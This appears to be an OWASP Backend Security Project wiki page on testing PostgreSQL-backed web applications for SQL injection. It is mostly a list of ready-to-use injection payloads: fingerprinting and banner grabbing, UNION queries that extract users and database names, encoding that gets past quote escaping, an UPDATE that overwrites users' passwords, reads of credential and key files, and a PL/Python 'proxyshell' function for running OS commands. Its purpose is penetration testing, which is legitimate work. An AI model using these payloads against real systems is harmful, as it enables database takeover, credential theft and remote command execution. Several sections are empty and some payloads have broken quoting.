OWASP Backend Security Project Testing PostgreSQL

= Overview =

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.

= Description =

Identifing PostgreSQL
When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using one of the above peculiarities:


 * String concatenation by using the operator: ||
 * Casting by using the operator: ::

Examples: http://www.example.com/store.php?id=1 AND '11'='1'||'1' http://www.example.com/store.php?id=1 AND 1::int=1

PostgreSQL Peculiarities

 * PHP Connector allow multiple statements to be executed by using ; as a statement seperator
 * SQL Statement can be truncated on vulnerable URL by appending comment char: --.

Example: http://www.example.com/store.php?id=1--hello world http://www.example.com/store.php?id=1;--hello world

Banner Grabbing
Function version can be used to accomplish this task.

select version: PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Example:

http://www.example.com/store.php?id=1 Acme Biscuits

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version,NULL LIMIT 1 OFFSET 1-- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection
For blind SQL Injection you should take in consideration internal provided functions:


 * String Length
 * LENGTH(str)
 * Extract a substring from a given string
 * SUBSTR(str,index,offset)
 * String representation with no single quotes
 * CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Timing Attacks
pg_sleep is all you need

Single Quote (un)Escape
String can be encoded, to prevent single quotes escaping, by using chr function.

* chr(n): Returns the character whose ascii value corresponds to the number * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root': select ascii('r') 114  select ascii('o') 111  select ascii('t') 116

We can encode 'root' with: chr(114)||chr(111)||chr(111)||chr(116)

Example: http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User
Current user can be retrieved with the following SQL SELECT statements:

SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername

Examples: http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database
Native function current_database return current database name.

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database,NULL,NULL--

Reading from a file
ProstgreSQL provides two way to access local file:
 * COPY statement
 * pg_read_file internal function (starting from PostgreSQL 8.1)

COPY:

pg_read_file:

Examples:


 * COPY filetable(textcolumn) FROM '/home/postgres/.psql_history'
 * SELECT pg_read_file('server.key',0,1000);

plpython
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG


 * Check if PL/Python has been enabled on some databsae:
 * ''SELECT count(*) FROM pg_language WHERE lanname='plpython'
 * If not assuming that sysadm has allready installed plpython package try to enable:
 * CREATE LANGUAGE plpythonu
 * If all of the above succeded create a proxy shell function:
 * CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read 'LANGUAGE plpythonu
 * Have fun with:
 * SELECT proxyshell(os command);

Example:

return os.popen(args[0]).read’ LANGUAGE plpythonu;-- ''
 * Create a proxy shell function:
 * '' /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;


 * Run a OS Command:
 *  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;-- 

Smashing dblink
= References =

= Tools =